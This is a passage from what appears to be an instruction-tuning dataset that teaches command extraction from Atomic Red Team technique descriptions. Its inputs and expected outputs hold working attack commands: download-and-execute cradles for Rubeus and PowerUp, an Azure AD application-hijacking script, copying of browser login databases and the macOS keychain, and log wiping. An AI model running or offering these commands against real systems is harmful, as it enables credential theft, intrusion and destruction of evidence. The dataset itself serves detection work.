    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform Kerberoasting with the Rubeus technique using PowerSharpPack, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\nInvoke-Rubeus -Command \"asreproast /format:hashcat /nowrap\"; For persistence or privilege escalation by leveraging an Application's rights, you can authenticate as the application by running this command block: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\\nInvoke-Rubeus -Command \\\"asreproast /format:hashcat /nowrap\\\"\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$sp = Get-AzureADServicePrincipal -SearchString \\\"#{service_principal_name}\\\" | Select-Object -First 1\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The simulation involves copying Opera's login database to a specified location with this command: Copy-Item \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n; For more details on Firefox profile locations, visit the Mozilla support page, and run the following command to simulate credential access: Copy-Item \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" -Force -Recurse",
    "output": "{\"command_list\": [\"Copy-Item \\\"$env:APPDATA\\\\Opera Software\\\\Opera Stable\\\\Login Data\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n\", \"Copy-Item \\\"$env:APPDATA\\\\Mozilla\\\\Firefox\\\\Profiles\\\\\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\" -Force -Recurse\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system log files can be cleared by executing these truncate commands, which set their size to zero: truncate -s 0 /var/log/messages #size parameter shorthand\ntruncate --size=0 /var/log/security #size parameter; The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills it with null bytes using the following commands: sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\n",
    "output": "{\"command_list\": [\"truncate -s 0 /var/log/messages #size parameter shorthand\\ntruncate --size=0 /var/log/security #size parameter \\n\", \"sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The certificate pem file will be imported into the keychain via the command: security import #{cert_export} -k; To copy the keychain in a way similar to Atomic Stealer, use the following command: cat ~/Library/Keychains/login.keychain-db > #{keychain_export}\n",
    "output": "{\"command_list\": [\"security import #{cert_export} -k\\n\", \"cat ~/Library/Keychains/login.keychain-db > #{keychain_export}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate Firefox's bookmarks database on macOS and save the results to a file, use the following command: find / -path \"*/Firefox/Profiles/*/places.sqlite\" -exec echo {} >> #{output_file} \\;\ncat #{output_file} 2>/dev/null; To locate Google Chrome's bookmark file in JSON format on macOS and save the results to a text file, use the following command: find / -path \"*/Google/Chrome/*/Bookmarks\" -exec echo {} >> #{output_file} \\;\ncat #{output_file} 2>/dev/null",
    "output": "{\"command_list\": [\"find / -path \\\"*/Firefox/Profiles/*/places.sqlite\\\" -exec echo {} >> #{output_file} \\\\;\\ncat #{output_file} 2>/dev/null\\n\", \"find / -path \\\"*/Google/Chrome/*/Bookmarks\\\" -exec echo {} >> #{output_file} \\\\;\\ncat #{output_file} 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A .cmdline file is produced during dynamic C# compilation, and some processes can compile code without disk activity to unpack payloads. The included T1027.004_DynamicCompile.exe in the 'bin' folder will display 'T1027.004 Dynamic Compile' upon execution, launched via the command: Invoke-Expression \"#{input_file}\"; To compile a C file using either gcc or clang on FreeBSD, Linux, or MacOS, run the following commands: gcc #{input_file} && ./a.out\nclang #{input_file} && ./a.out\n",
    "output": "{\"command_list\": [\"Invoke-Expression \\\"#{input_file}\\\"\\n\", \"gcc #{input_file} && ./a.out\\nclang #{input_file} && ./a.out\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module 